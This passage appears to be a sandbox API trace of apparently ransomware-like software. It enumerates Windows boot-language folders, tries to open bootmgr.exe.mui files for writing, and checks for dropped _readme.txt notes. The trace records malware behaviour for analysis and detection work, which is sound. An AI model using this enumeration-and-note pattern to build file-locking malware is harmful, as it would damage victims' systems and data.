nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.746] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.746] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.746] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.746] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.746] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0066.746] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.747] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3167ab0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.747] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.747] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.747] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned=".txt" [0066.747] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3167ab0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.747] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.747] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.747] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.747] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.747] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.747] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.747] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0066.747] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.747] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.747] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.747] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.747] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.747] PathFindFileNameW (pszPath="") returned="" [0066.747] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.747] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.748] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.748] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.748] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.748] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.748] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.748] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.748] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.748] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.748] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.748] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.748] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.748] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.748] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.748] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x32476f0 [0066.748] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0066.748] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.748] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.748] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0066.748] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.748] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.748] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.748] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.748] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.749] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.749] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0066.749] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.749] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb318dc10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.749] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned=".txt" [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.749] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb318dc10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.749] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.749] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.749] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.749] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.749] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.750] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.751] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.751] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.752] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 